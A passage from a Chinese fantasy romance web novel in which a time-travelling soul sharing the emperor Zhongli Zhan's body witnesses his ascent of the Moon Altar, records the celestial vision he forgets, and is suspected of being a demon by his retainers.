三个月前钟离湛就已经来望月山下亲自监工了,他就在符玉城外,却从来没有回去钟离老宅看过,甚至连符玉城都没步入,更不允许自己身边的人前去符玉城。 云绡大约知道他这样做的用意。 如今的钟离湛在各大氏族中已然成了众矢之的,尤其是在曦族的名声更差,可他毕竟姓钟离,如今就在符玉城外,在他长大的东洲里杀人,那些旁支亲戚未必不会将他做的一切归咎于钟离氏本家的身上。 他的祖父祖母,父母和堂兄弟们都还健在,钟离湛这个时候能做的就是远离钟离氏,让他的所作所为仅代表他自己,这样也算保护了钟离氏的亲族。 这一个月来云绡一直陪着他慰问那些失去亲人的曦族人们,那些人都被埋在了望月山里,即便钟离湛许诺会找到他们的尸骨,可这不代表他在这件事里全无过错。 他所能做的,就是让自己身上背负的罪孽再少一些。 他没有问云绡的来历,倒是不时问一些与未来无关,却与云绡有关的小事,偶尔会有他们之间相处的点滴。 例如那句“哥哥”的称呼从何而来。 例如后来的他,是否会叫她“小仙女”。 云绡想告诉他的有很多,但往往说到一些未来之事,钟离湛就打断了她的话,并告诉她:【有些事,不可说。】 云绡当然知道有些事不可说,她前两次来这儿的时候都谨遵这一点,因为她也怕死,怕自己这个异世之魂泄露了天机,会被天道捕捉抹杀了她。 可云绡现在更怕的是钟离湛会死。 钟离湛也察觉到了她的用心,不得不说这个时候的钟离湛极度敏锐,他告诉云绡:【不必你以消耗自我的方式提醒我避开险境,我不畏惧那些,而且我有预感,你不是为此而来。】 云绡震惊:“你……知道些什么?” 钟离湛道:【猜到了些。】 即便他制止过她,却也能从只言片语里了解后来的他们,他能让她一个人的灵魂穿越两千余年的时空来到他的身边,定然不是为了他自己,或者说,只为他自己的生死。 营帐的第二层外,洛锦和何舜面对面而站,他们听到了营帐内传来的声音,这已经不是钟离湛第一次自言自语了。 外界都在传曦帝疯了,洛锦和何舜也知道,他从很久之前就有失忆的问题,可将自己分裂成两种完全不同的人来对话,说的还是一些他们没听过的,毫无意义的内容,这叫洛锦和何舜满心惶恐。 “你觉得,那些人说的是真的吗?”何舜突然开口问洛锦一句没头没尾的话,可洛锦听懂了。 他脸色一变,厉声呵斥:“你是疯了才会信那些人的胡言乱语,难道君上这些年为了苍生将自己的身体折腾到每日都要喝药还不能证明,他并不是外界说的那样吗?!” “世人不理解他,说他贪图权力,所以才将他人生死置之度外,说他想要长生不老之法,这才走遍五湖四海寻找什么登天云梯,说他想要成仙,才在望月山上费时费力盖建月坛……可我们是一直跟在君上身边的人,君上做的这些,无一是为了他自己。他的心中定然有其他谋划,何大人,我们需要做的,就是无条件地站在君上的背后,支持他,拥护他。” 洛锦说完这些,何舜的表情没有半点变化,他的眼神在这些年里变得愈发凌厉深冷,有时候洛锦也不能看穿他。 恰如此时此刻,何舜忽而露出一抹笑,他的眼里没有半点笑意,却一步步朝洛锦靠近,压低声音道:“我从未怀疑过君上的用心,我也知道,他从未动摇过他当初走上曦帝之位的初衷。我想要对你说的是,也许而今你我见到的君上未必还是我们当初跟随的那个人。” 洛锦不明白,何舜几乎凑到了他的跟前道:“你别太愚蠢了,自从君上去过一次锦仙山之后,他做的每一件事下的每一个命令背后都有目的,即便你我不知他那样做的原因,却也能看出其背后牵连的究竟是什么。” 何舜伸手指了指头顶的方向道:“登天云梯之说,未必是假的,洛统领,你要相信这世上或许的确有神明。” 洛锦一时愣怔住,其实他有些猜到了,只是一直没敢往那方面去想。 一旦涉及苍穹之上有神仙,不就恰好掉进了那些人污蔑君上时的话术里? “既有神明,定然也有妖邪,你听听里头君上的声音说的话,这是从前的君上会说的吗?他会在意一个人喜欢吃什么?喜欢什么颜色?年龄几何?” 何舜说完,洛锦倒吸一口凉气:“你是说……君上近来愈发憔悴,或许身体与意志也没有以往那样坚不可摧,致使妖邪趁虚而入!” “那还是一个,极会迷惑人心的妖邪。”何舜和其聪明:“它是个女子。” 洛锦微顿,他没否认何舜的话,因为他知道何舜和他一样是最了解钟离湛,永远也不会叛离钟离湛的人。 经何舜这样提醒,洛锦总会忍不住去观察钟离湛的变化。 他除了偶尔自言自语之外,有时会抬头看向天空上飘落的雪,眉目柔和,甚至会伸手去接,做出一些与他平日里十分违和的举动。 洛锦有一次听见他对着虚空喊了一声:“小仙女。” 这一声“小仙女”,几乎将洛锦的神魂都吓碎裂了,因为这句话也佐证了何舜的猜测。在君上的身上的确有一个他们看不见,但君上能感知到的邪祟,那是个会迷惑人心的女子。 洛锦急忙去找何舜商量对策,得到洛锦肯定的回答,何舜竟然一点也不意外,甚至……他已经联想前后,猜到了这位被君上称作小仙女的妖邪究竟是何时出现的。 数年之前,从他们解放身为奴隶的尾人族时,有一群氏族的孩童将尾人族的尊严踩在脚下,当时君上主动提起要与那些孩子比赛,赢了便可将身下宝马相赠。 彼时钟离湛让那些氏族公子的府中下人们骑在小公子的身上比赛看谁最像牲畜时,何舜就觉得他不太对劲了。 若是钟离湛办事,宁杀不辱,从那件事里也可以看出那时下决定的或许就已经不是钟离湛了。 这妖邪的确有些本领,可以获得钟离湛的信任,且长达这么多年,钟离湛竟未朝外透露半分……何舜不会让她占据钟离湛的身躯为所欲为。 钟离湛的名声已经足够糟糕了,他经不起一星半点的污蔑和诋毁,而钟离湛是何舜最为崇敬之人,他也不会让一个妖邪占据钟离湛的身躯,迷惑他,玷污他- 月坛盖建成功时,东洲已经没再下雪了。 霖江边上的雪融化了许多,干枯的草野里生出了一些柔嫩的绿芽,云绡端了个小马扎,用钟离湛这高大的身躯曲腿弯腰地面朝着霖江的方向,晒着初春的太阳。 他的身体还是很冷,不过云绡已经习惯了他手脚的温度。 就在她的面前,一个火坑里燃烧着去冬的最后一丝干草,鹅卵石上横着数条小鱼,到了该翻面的时候都不用钟离湛提醒,云绡就已经利落地将那些小鱼全都掉了个个儿。 【你很会做吃食。】 钟离湛这样评价她。 云绡一愣,没忍住笑了起来:“这也是你教过我的,我无非是记性好,学东西快,所以只需你教过一回就全都记住了。” 一双骨节分明的手探到冒着热气的鹅卵石上方取暖,钟离湛冲重新占据了自己的身体,他如今 和云绡切换身体的使用已经十分自如了。 云绡问他:“怎么了?” 钟离湛道:【有人看过来了。】 云绡不知道有人看过来了为何不能是她来操纵身体?毕竟她已经习惯了身体寒冷,她想尽可能地不让钟离湛太难受。 不远处的望月山下有身着棉衣的人往外抬东西,那些曾经都是背着巨大石块上山的寻常曦族百姓,他们也都是为了生活无可奈何压弯脊背之人。 冬天里盖建月坛很痛苦,但钟离湛给的报酬也足够高,尤其是姚氏被斩杀,曦帝亲自监工,他们的日子好过了很多,家里人也熬过了这个冬天,每日都有热汤下肚。 而今月坛竣工,春来雪融,钟离湛让他们将那些曾经埋在山下的人的尸骨寻出来,背下山,完成了他对那些受害者家人们的承诺。 钟离湛不知那些人是怎么想他的,尤其是他们身后的篓子里装的可能都不是完整的尸身,或许等会儿隔江望来的视线里尽是惧怕和嫌恶。 钟离湛本能地不想让云绡承受这些,因为他能感觉得到,后来的他很喜欢这个小姑娘。 他教给她的,全是他自己这些年钻研出来的独属于他的东西,不论是符咒阵法,还是吃食习惯。 她是从何时回来的? 一百年之后? 还是两百年之后? 又或者更久。 江那边的人看了过来,钟离湛还是坐在那个小马扎上没动弹,他没收到畏惧和憎恨的眼神,那些饱经风霜的人只是怔于他会坐在江边煎鱼,而后又深深地弯下腰去,朝他鞠了一躬。 鱼,煎好了。 钟离湛将身体重新交给了云绡,毕竟煎鱼是她兴致勃勃地想要来做的,不过云绡不肯答应,她用的理由是想让他尝尝她的手艺。 钟离湛没再坚持,他挑起一条鱼像是闲谈道:【这些天你与我相处愈发没有规矩,我还以为你会斗胆让我做给你吃。】 云绡抿唇,轻轻笑了一下。 她不想抱着和可能是最后一次和钟离湛一起吃东西的心态去做事,她想让他尝尝她的手艺,是因为后来的钟离湛不过魂魄一缕,他吃不了任何东西。 至于为何不让钟离湛做给她吃,是因为云绡希望他们能有个以后。 那个以后,是钟离湛答应过她的,他会亲手做给她吃。 会有那个机会的。 煎鱼入口,云绡问他:“如何?” 钟离湛道:【尚可。】 云绡:“……” 现在的钟离湛还是太严肃了,一点儿也没有后来的他可爱,后来的他若能吃上她一口亲手做的食物,定然会将她夸上天去的。 钟离湛虽然说尚可,可云绡煎的所有鱼他都吃得干干净净。 甚至他后来命令洛锦派人来霖江边抓鱼,熬了一锅浓浓的奶白的鱼汤推到望月山下,赠予那些搬运尸骸的人一口热食。 一百七十四的人骸骨,用了十七天全都找到。 光是靠那些寻常百姓去找当然不可能,钟离湛也交给了他们一些符,算定了方位才动手去挖,好在他没有辜负自己当初对受害者家人们的承诺。 寻完尸骸,钟离湛便算定了上山的时日。 这一次上山,他没带洛锦和何舜,只身前往。 爬山的路途倒是不无聊,因为他的心声中总能传来一道女子声音。 【你很活泼。】 钟离湛的话让云绡的声音一顿,过了好一会儿她才道:“都是你教我的。” 【我还教你这些?】 云绡嗯了声,认真道:“钟离湛,不论接下来你会如何做,我都希望能有一天你看见真正的我,到时候你会发现,我的身上处处都有你的影子。” 第112章 望月山上的雪尚未完全融化,台阶上还有一层薄薄的冰霜,钟离湛走到半途,云绡就听见他压抑的粗喘和急促的心跳声。 云绡曾问过他,他的身体为何会憔悴至此,钟离湛只是沉默了片刻便说他也不知道。 此刻发现他的虚弱,云绡的心里顿时被酸涩填满,她也没提出由她来代替他走上山。 云绡知道钟离湛是要自己登上望月山的,这是他长达数年追寻公正的最后一步,而她此刻能做的,就是无视他的脆弱,不问他的狼狈。 脚下的冰雪越来越厚,钟离湛的视野也越来越模糊,他呵出的热气化作眼前的一团白云,肩上的力量,和脚踝处的拖拽感愈发强烈。 他抬眸透过干枯的树枝看向漆黑的天空,天上无星也无月,但钟离湛知道就在那片漆黑之上,一定有无数双眼睛正在看着他。 而此刻,他们或许彼此凝望。 钟离湛其实有些庆幸,这条登上月坛的路他并不孤独,陪伴他上来的人也没有提出替他的要求,她是懂他的坚持的。 可钟离湛的心中还有秘密,他暂且不想告诉小仙女。 他不是真的不知道自己的身体状况为何每况愈下,就如他此刻感受到的那些无形的压制正在极力阻止他去找到他们。 他们对他的阻力越大,钟离湛越坚定,他的路走对了,因为他让他们感受到了威胁。 他只抬头看了一眼便收回目光,而后再一次踏上山路,每一步都十分稳健,没有停顿,就像那些捆束在他身上的枷锁毫无作用。 白阶近在咫尺,云绡也终于看见了真正的月坛的样子。 后世人说钟离湛盖建的月坛是以孩童白骨铺就而成,这话也不完全是空穴来风。至少云绡此刻看过去的月坛上一片纯白,每一层阶梯都是以白玉铺就而成,上面雕刻的符文咒印极为深刻,覆盖上了一层雪后,半遮掩的刻痕与白骨类似。 乍一眼看过去,竟真的像是白骨垒成的山尖。 待到行至跟前,云绡顺着台阶看去,这条数千层的台阶似乎没有尽头一般,直通天云。 钟离湛突然于心中问了一句:“怕吗?” 云绡道:“不怕。” 回答完了之后她就明白,钟离湛这句话也不完全是在问她。 一个凡人妄图窥天,钟离湛的心中不可能没有丝毫胆怯,而他想要的公正就在这些阶梯的顶端,他总会有些惶恐无措,但他不会动摇犹豫。 云绡的不怕二字,就像是给他定了心,勇气于此刻加倍,钟离湛抬脚踏上了月坛的第一步。 这一步,周围的风都变了方向。 台阶上的雪极速融化,荡开的热气将山顶熏出了些许白雾,白雾之下融化的雪化成了浠沥沥的水,顺着台阶形成了浅薄的水帘瀑布。 钟离湛脚下的阶梯上,那些深刻的符文像是活过来一般排列成不同的形状,符文中透出丝丝银光,钻出的银丝如发,一根根缠绕上了钟离湛的双腿。 云绡这时才发现月坛上的符文与钟离湛息息相关,这些阶梯不是每一个人踏上来都有用,他似乎是将自己的精炁全都消耗在这上面,每一步都以残害自己的方式,去窥见苍穹真相。 有些画面突然钻入云绡的脑海,那是不同视角所见的不同时间和地点发生的事。 山野间忙碌的尾人族,抬头看向头顶热辣辣的天空,抹去一把脸上的汗水,他们手中成熟的果子如同时光逆流一般重新回到树干之上。青涩的果子眨眼消失,随后树木缩减,从一颗颗比人高的果树变成了不及膝高的树苗。 田地翻涌,荒地重现,尾人族仍然是那些在氏族手下摇尾乞怜的奴隶。他们身后的尾巴致使他们的身体千疮百孔,让他们成了永远也无法抬起头的毫无尊严的牲畜。 老翁成为了稚子。 参天大树成了土间新芽。 云绡眼前所见的一切都随着钟离湛一步步踏向台阶之上而逆转。 在 她的视野里,她变成了不同的人或物。 有时是一个寻常的百姓,有时是一个王朝的主宰,有时是一棵树,一株花,有时不过是眨眼便消失的蝶虫。 而在她成为这些人或物的同时,她看见时间迅速从自己的身边溜走,就像那些缠绕在钟离湛身上的银丝,风一吹便绷断消散,抓不住,碰不到。他们不是那些早就消散时空中的任何一人一物,他们只是站在高处纵观了那些人与物的一生。 直到战争四起,直到硝烟乱世。 云绡看见自己成了山野间的一汪湖泊,无数人从她的身边走过,有老人,有孩童,他们匆匆赶路逃亡,只是路过她的身边时,向她借了一捧水。 烈马踏过了她身侧的浅洼,她的视野也从那滴溅起的水滴化成了从天而降的雨。那匹烈马上坐着的人脸上挂着凶狠的表情,他用云绡听不懂的语言去怒吼着、叫嚣着。 在他的身边,有无数像他一样骑在兽群背上的人,云绡看见他们的衣袂之后是一条条形状不一的尾巴。 她突然想起钟离湛之前对她说过的故事,在钟离湛还活着的时期便有过传说,数千年前的尾人族原本是没有尾巴的,是因为赖棋的行为让他们生长出了尾巴。那些尾巴,成了后世尾人族心中的一根刺,身上的一道疤。 而此时,云绡确定自己看见的那些驭兽攻击城池的人中,没有一个人是有尾巴的! 他们是尾人族,他们在向城池冲锋。 他们冲锋的,攻略的城池里住着的是与他们完全不对等的凡人。 云绡是雨,所以她能看见每一个人的表情,城外的凶狠,残忍,张狂,城内的惧怕,惶恐,无助。 这是一场不对等的游戏,在尾人还是五族中堪称霸主地位的存在时,他们也将那些捕捉过来的人分成了三六九等。优者圈养,次者杀之,更有可怜的成了他们身下野兽掠夺的食物。 霎时间,残忍的笑声响彻天际,而血色染红了暴雨。 “不公平!” “这不公平!” 有人的声音从远处传来,那道声音如同震慑神魂的洪钟,云绡顺着雨滴看去,而后她窥见了雨云之上,彩霞滚滚,声音也是从这里传来的。 “他们能驭兽,就等同多了无数帮手,凡人如何能与野兽抗衡?” “那你想如何?当初决定他们的能力时你们可没有反对。” “他们的身上不能毫无缺陷,否则我们拿什么和你比?这一局不算!既然他们有强健的体魄和驭兽之术,那便让他们有一颗野兽之心,还得有野兽的特征。” 野兽之心,是因为野兽便是再凶残,可与人心相比,仍不足人心之恶的万一。 野兽的特征,便是那条坠在他们身后,从此成为他们象征的尾巴。 云绡看见了彩霞之上晃动的人影,她屏住呼吸,眼前所看见的一切,与当初钟离湛猜测后告诉她的几乎没有分别,这的确是苍穹之上操纵棋盘者的赖棋行为。 但,钟离湛将时间推到这时……是为了窥见什么? 不等云绡猜测,她便看见了钟离湛盖建月坛的真正的目的。 天与地之间的相连处在哪里?他们又如何能决定凡人的能力? 所谓的神明赐福,难道是隔天点兵? 那些成为凡人血脉中,与他们世世代代相连的赋予,总有一个起始。 最初的最初,钟离湛回不去,他那一千多层的白玉阶梯上的符文只能让他窥见他确认的一丝天机。而他要看的,就是那些所谓神明,是如何更改尾人族的天赋,如何让他们从此生来有尾,如何剥夺他们的心智。 云绡看见了纯白的巨人朝天之下俯身,像是一团雪云探出了天空,云与山川相连,就像是那个巨人的手撑在了地面的最高处,让他与大地产生共鸣。 轰隆隆雷霆声起,一场暴雨连下了三天三夜。 直到那片云在山顶消散,尾人族的命运从此更改。 【你看见了吗?】 云绡听见了钟离湛的声音,他一直和她在一起,他们的魂魄相连,所以她所看见的,其实一直都是钟离湛所看见的。 云绡点头。 【那你也一定听见了。】 云绡听见了,她无比震撼,钟离湛真的从完全不同的角度窥见了天之上的真容。 那些白色巨人,其实都像是云雾化作的虚体,他们玩弄凡人,却又与凡人极为相似。 【原来他们也不是我们想象的那样坚不可摧,他们只是我们眼中的高山,可山可移,海可平,不过是时间问题。你看所谓的神仙赐福,也需要他们以掌心撑地,连通大地之灵,借此机会动雷落雨,将咒文藏入雨水中,化入每一个尾人的身体里。】 钟离湛忽而发出一声嗤笑:【也就是说,想要斩断天与地的相连,只需要将他们一个个踢下棋局,这场游戏就能结束。】 钟离湛的话音一落,云绡所见的画面悉数转变,从天而降的暴雨里,每一滴水中都有复杂的细小的像是无数正在跳动的咒文闪烁着微弱的光芒。 一滴雨朝云绡的眼中落来,她不过一眨眼,便见那翻滚的乌云消散,一阵阵冷风吹来,凌乱了她的发丝。 冷风吹动了山顶的雾,拨开了夜空的云,露出了完整的圆润的银月。 月光如水,洒在望月山的山顶上,那是云绡此生见过的最大的一轮月亮。 原来望月山,真的可以手揽明月入怀中。 它那么高,高到只需要云端之上的神仙稍微一俯身,便能掌撑山巅,窥见苍生,看尽凡人因为他们的一举一动,悲哀地挣扎千百年。 一只手拨开了眼前的发丝,那是钟离湛的手,而她尚在钟离湛的身体里,心中的震撼久久未能平静。 钟离湛收回了目光,垂眸看向脚下的玉阶,沉默了很久之后便没再于山间逗留,一步步,如同他上山时的坚定一样,不急不徐地往回走。 【我有预感,小仙女。】 钟离湛突然开口,云绡回过神来。 他道:【一旦我下了这些阶梯,一旦我离开这座山,就会忘记今日在这里看见的一切。】 云绡恍然明白过来,他的失忆不完全是因为病,甚至,他的病也未必是病! 【我忘记了不要紧,但你一定会记得的,对不对?】钟离湛的声音很轻柔,带着受凉后的低哑道:【我真是庆幸这世上能有你,还能在我这般无助的时刻成为我谁都无可动摇的后盾,我可以完全信任你。】 云绡忙道:“你可以完全信任我!钟离湛,今日所见,我全都会记得,如若你离开望月山真的将这一切都忘记了,我会替你记下来,待到明日你睁开眼,第一时间就能看见它。” 钟离湛嗯了声:【我知道我该怎么做了。】 他步下阶梯,却见脚下符文未停,心知是他为了完成窥天所耗精炁过多,居然尚有余力让这些符文上附着的力量存留的时间更长一些。 钟离湛只是往下走了几步便顿住,他垂下的眼睫轻颤,有些意外自己看见的画面,又很快想通。 云绡察觉到钟离湛下山的脚步快了些,她只当他是急着回去拿纸笔记下自己脑海中的画面,却没发现钟离湛的心跳,于某一刻瞬间紊乱。 那双掩住的狐狸眼中,惊异之光稍纵即逝,随后是通红的耳尖在夜风中滚烫。 第113章 这场窥天之举对钟离湛伤害很大。 他有些高估了自己如今的身体,别说离开望月山,他甚至没能完全走下山。才离开了千层白玉阶梯,钟离湛的精炁便被抽离得干净 ,顿时神魂摇坠,即将要从山路上滚下去。 云绡这个时候占据了他的身体,让他虚弱的灵魂得以在身体里温养,也不至于摔下山去,损了身体。 往前踉跄了两步,云绡扶住了树干,她心口的跳动还很紊乱,似乎是钟离湛留下来的悸动。 她喊了钟离湛几声,无人回应。 一步步走下山,云绡冻得手脚发麻。 山下春来花开,踏着晨起的阳光离开望月山,破晓驱散了山间薄雾,金灿灿地洒在她脚下的野花上,而这繁茂的野花尽头,洛锦正在那里等着。 君上昨夜离开也非悄无声息,只是他既然没有主动提起要洛锦跟随,洛锦便不敢凑上前去,他只能在山下守着。 洛锦近来心中难定,日夜辗转,许是因为知道钟离湛的身体里有妖邪,所以他看向钟离湛的眼神总是多出了几分探究,想要看看如今朝他走来的到底是他的君上,还是那个迷惑君上的妖邪。 一直到云绡走到洛锦跟前,洛锦也没能分辨出来,反倒被云绡沉沉的盯着,洛锦这才跪地请罪,告诉云绡他在山下守了一晚上。 云绡的眼神直勾勾地落在洛锦的身上。 她不是没有发现最近洛锦的古怪,能靠近钟离湛身侧得他信任的人少之又少,洛锦算是其中一个。 云绡还记得那个教她反咒的神秘人,对方拥有钟离湛亲手所绘的火符,又对钟离湛那么了解,甚至后来大费周章困住谢尧钰弄出渡仙城,就是为了复活钟离湛…… 神鬼蛊,恶童病,甚至是后来湖族司徒音漓手里的不老丹,桩桩件件都与他脱不开关系。 那个人,会是洛锦吗? 如若不是他,他为何就像是早就知道钟离湛大限将至,随时要找到他体力不支身自难持的证据? 是为了控制他?还是代替他? 钟离湛的现况太难了,腹背受敌,外有氏族不断诋毁他,内忧藏得太深,便是他仍然拥有曦族人均两千年的寿命,也会被这些烦扰折损寿数。 更何况他的头顶上,还有那些虎视眈眈的,寻找各种机会想要碾压他的巨人。 洛锦被云绡盯得冷汗涔涔,那股摄人的威压让他几乎喘不过气来。 洛锦连忙解释:“属下只是担心君上的身体,并无跟踪君上之意,请君上责罚。” 洛锦才说完,另一道声音从旁边响起。 “君上,符玉城又派人来了。”何舜适时的出现,让云绡没再将目光放在洛锦身上,反而将怀疑转移到何舜的身上。 她也沉沉地看向何舜,而后微微蹙眉。 不对,身形不对。 那个人很高,何舜就是寻常男子身形,曾是文弱书生,即便近几年来练了武,也没改变他只到洛锦耳廓的身量。 符玉城是钟离氏老宅管辖,符玉城中来人,只能是钟离湛的父母那边来信。 钟离湛数月前来到东洲,在望月山下安营扎寨,并未回去,他的父母也从未给他稍信。双方就像是从不知彼此离得有多近,又像是从来没认得这个人一样,未曾有一星半点的接触。 从钟离湛当众斩杀姚氏近亲兄长及其子嗣旁支一干三十几人后,符玉城便来过一次信,钟离湛没看过那封信,他直接将其丢入火中烧了。 云绡问过他为何不看,他道:“不看,我权当信里是对我的挂念和叮嘱,看了,说不得要难受。” 而今姚氏之事已经过去了两个月,符玉城这个时候再来信,便不会是为了姚氏。 云绡拿不定主意,为了避免麻烦,还是没有亲见符玉城的人,只是让对方留下口信,从何舜那边传来的话中听来,果然是钟离湛的父母想要让他归家一叙。 云绡被钟离氏传来的口信绊住,又急着去营帐内将她和钟离湛在月坛上看见的一切描绘下来,便没再管洛锦,挥手让他自行离开,下去领罚。 待到云绡离开,何舜才上前扶起洛锦。 洛锦问:“何大人可看出,方才那是君上,还是妖邪?” 何舜也有些迷惑了。 他以为那是钟离湛,毕竟彼时钟离湛的威压,还有凌厉的眼神做不得假。可再后来听到符玉城相关之事后他有了一瞬的停顿,整个人周身气势又柔软了起来,不像钟离湛的冷硬和果决。 意识到自己的混乱,何舜的脸色变得更加难看:“若方才的是君上也罢了,若不是那你我和天下苍生都有麻烦了……” 洛锦沉思片刻便明白过来何舜的意思。 若方才盯着洛锦看的人不是钟离湛,便代表钟离湛身体里的那个妖邪可以扮作钟离湛的模样,九成相似,真假难辨,届时代替钟离湛,便是天下人的祸患了- 云绡回到营帐后便翻开一卷卷轴开始记录她还记得的一切,事无巨细,从她变成了一个尾人,又变成了一棵树,到后来的一场雨,哪一个都没有错漏。 云绡又一次庆幸自己过目不忘的本领,她甚至能记得当时撑着山体俯身下人间的那个雪云巨人的身上,染上了些许天青色,而他当时撑着的山,并非望月山。 云绡想了想,又在一旁画下了那座山的简易样子,连同山体周围有什么特殊的细节,她也一一标注了上去。 做完这一切,云绡松了口气。 此事关乎天机,当然不能就如同钟离湛过往记忆一样大咧咧地展开在眼前,云绡将卷轴卷起,又在上面设下了个禁制,为了与其他卷轴区分,便将那禁制仿成了一朵暗淡的海棠花。 她不确定钟离湛的魂魄需要休养多久,她也不确定自己会在这里待多长时间。 云绡想,她留下了海棠花,他就一定知道这是她给他的提示,毕竟那株对于钟离湛而言不能吃不好养的海棠花,是她种下,又是他浇水施肥的。 只关乎他们二人。 重新刻画窥天所见,也消耗了云绡太多精力,她疲惫地卧在钟离湛房中仅露出来的一点空位上,靠着他记录了不知多少天多少细节的记忆书卷,沉沉睡去。 再醒来时,不知过去了多久。 云绡迷糊地睁开眼,入目所见便是一副展开的卷轴,卷轴已然被翻到了最末端,那座山旁铁画银钩的字迹落下了两个字——岐凤。 “这是山的名字吗?”云绡开口。 画符的手一顿,钟离湛似乎很意外:【你……还在?】 云绡嗯了声:“我还在。” 【那你……】 钟离湛想问她,那她是何时来的? 他才一醒来,便发现时间居然与他记忆中相隔了那么久,明明前一刻他还坐在冰天雪地里看何舜执刑,杀姚氏罪人,再一睁眼便回到他住的营帐内,账内的东西都被人动过了。 他的住处外设了阵咒,这是他自己研究出来的阵咒,从未对外人吐露过。 而普天之下,能擅用符咒者少之又少。 钟离湛可以毫不自负地说一句,这些他创造出来的东西,只有他自己知道如何破解,旁人便是想要效仿也得知其奥义。 他不知这些天究竟发生了什么,只知道他记录下来的过去 都有被人翻阅过,而他放置那些记忆的地方多出了一张长卷轴。 卷轴上印有海棠花,钟离湛立刻就想到了小仙女。 看到卷轴上的禁制,他也知道自己没猜错,小仙女来过,可她来得太突然,又走得太快了。 此类禁制是钟离湛独创,他意外后来的自己教这个小仙女简直不遗余力,恐怕压箱底的东西都翻出来送给旁人了。 但他还是打开卷轴,仔细看着上面的内容,越看,钟离湛越心惊。 被抹去的长达两个月的记忆,像是漏了一丝口子,些许画面在脑海中重现,却又模糊不清。 他好像去过江边。 他好像吃了煎鱼。 他好像……还听了一个有关于公主的故事。 但他已经没有时间去细想那些了。 钟离湛能感觉得出,他的身体更加虚弱,即便他是曦族人,钟离湛也有预感,他不会那么长寿。 他没日没夜地去细看云绡在卷轴上留下来的每一句话,每一个字,后来又仔细看了那座山。那是岐凤山,他没去过,但听过那是北方最高的一座山,几乎与东洲的望月山相近的高度。 钟离湛看完这些,便知道自己接下来要如何去做。 符文写到了一半,熟悉又久违的声音在脑海中响起,钟离湛愣怔住。 她还在。 云绡直觉钟离湛似乎有些不对劲,便问:“你……忘记山上发生的一切了?” 钟离湛嗯了声,准确来说,是从她来时发生的一切都忘记了。 钟离湛的内心生出了一丝慌乱,他不知自己这种情况会持续多久,或许下一次再睁眼,时间已经过去了数十年,而非两个月。 云绡从他这片刻沉默里察觉出了他的不安,她的心口顿时生出密密麻麻的疼,如果可以,她多想这个时候能魂魄短暂地离开钟离湛的身体,去抱一抱他,亲一亲他。 “没关系的,哥哥,我都替你记着呢。”云绡的声音轻软道:“你想知道什么,都可以来问我。” 哥哥? 是他失忆的这两个月,和这异世女魂义结兄妹了? 不知为何,想到他们竟成了兄妹关系,钟离湛的心中有了片刻酸楚不适,那瞬难以启齿感觉,很快被云绡接下来的话语打破。 她精简了这两个月发生的重要事迹说给钟离湛听,待到说完,时间已经过去很久,天边泛起鱼肚白,又过了一夜。 钟离湛笔下的符文早就干透了,他听着那些与他记忆深处模糊的画面贴合在一起的记忆,忍不住开口:【还有一个故事,你没说。】 云绡觉得自己说的故事和钟离湛说的故事比起来,还是差了太多,她当时说完钟离湛也没什么反应,还问她这个故事有何意义。 所以她故作高深道:“那个故事,要你自己想起来。” 扯开话题,云绡问他:“你在写什么?” 钟离湛顿了顿,道:【画符,布阵,还有……制咒。】 云绡问他:“是针对那场雨的咒吗?” 她说的那场雨是数千年前,苍穹上的巨人为了掣肘尾人和平衡五族力量的一场雨。 钟离湛嗯了声,又道:【你很聪明,也很厉害。】 他的手指向云绡在卷轴上依样画葫芦的那些咒文,那时恰好有一滴雨,掉进了钟离湛的眼里,而云绡的魂魄与他一体,将那滴雨中细小的流动的咒文全都记了下来。 钟离湛知道,这若是换做他去记,定然不会有云绡这样全面。 云绡被夸有些开心,娇俏的语调道:“那我陪你一起制咒,我学会了蛮多的,你现在写的这些,我能看懂大半呢!” 钟离湛没有拒绝,小仙女显然是个很好的帮手,若不是有她,恐怕他这两个多月又是白用功。接下来的他就会像之前的七年一样,反复在一个地方打转,用有限的记忆去寻找破解苍穹对人间祸乱之法。 钟离湛想的是,她能记下来这些也好,若有朝一日他又忘记了,或者他所行之事尚未成功便被那股压制他的力量剥夺了性命。 至少、至少这世间还有一个人能让苍生摆脱命运里的傀儡线,不再受苦- 后来的很长一段时间,云绡都和钟离湛一起待在营帐内。 外界事宜断案有何舜,立威有洛锦,钟离湛都没有再管。 百姓口中传言,曦帝痴迷成仙之法,盖建月坛之后便一直在月坛上修炼,不时还要抓上童男童女以作炼丹吃食。 偏偏这个时候,还真有个地方的孩童失踪得及快。 一切罪恶,似乎都能与钟离湛扯上关系。 对于这些污名,钟离湛不曾回应半分。 直到符玉城再派人前来。 来使仍然是那一句,家主希望能让曦帝归府一叙。 钟离湛这次见了符玉城来的钟离氏的府卫,他对那人道:“告诉孤的父亲和母亲,孤明日归家。” 或许,这是他最后一次去见父母的机会了。 钟离湛握紧手中耗尽心力所绘的符阵。 此一生,是他不孝在先,他能留给父母的少之又少,但愿这张纸,能载他情谊,略尽孝心。 第114章 云绡跟着钟离湛学了很多,可钟离湛绘下的咒文她仍然有许多地方看不懂。 钟离湛也没时间一一向她解释,他知道云绡过目不忘,就连那一闪而过的雨滴里的咒文她都能记得清楚,那他当着她的面每日写下的她也一定牢记于心。 钟离湛将他写下的那些咒文与云绡所记满满一张的卷轴放在了一起,又在她下的海棠花禁制上多加了一层。 他道:【你下的禁制有些太简单了,我在你的禁制之外又套上了一层锁,你都记得如何破解了吗?】 云绡应声:“我都记下了的。” 钟离湛的手中握着那卷卷轴在第三层营帐小小的房间内来回走动,一时间不知这东西究竟能藏在哪里。放在哪里他都觉得不安全,可若不是放在他知晓的地方,他又担心哪一日自己忘了。 云绡看着他来回踱步,不知不觉就想到了后来的钟离湛,天时、地利,她或许就是那个人和。 云绡忽而觉得,有些事冥冥之中自有注定,她来到两千多年后的今日,也许早就成了后来真正发生的历史? 就好比她在史记上看见钟离湛斩断六万余尾人的尾巴,而后她成了钟离湛,自然而然地往她以为的真实历史上靠拢,将她以为对的事情,变成了后来推翻钟离湛的一大罪行。 又好比她上一次附身于钟离湛,告诉了他这世上有一座山叫锦仙山,山上有一个神女叫洛娥……在云绡来之前,钟离湛并不知道洛娥,固然那时旖族已然借用旖族女子命里带咒这一点攻讦钟离湛,钟离湛也未曾将她们与锦仙山绑在一起。 是云绡的到来,告诉他,锦仙山或许能成为旖族女子后来数千年的归宿,是她引导钟离湛一步步走向历史上的结局。 而今,亦是如此。 云绡突然明白,她可能根本改变不了钟离湛的死局。 就如同钟离湛每每阻止她想要向他泄露的未来,也告诉她,她来到这里的根本原因,并不在于他是否活着。 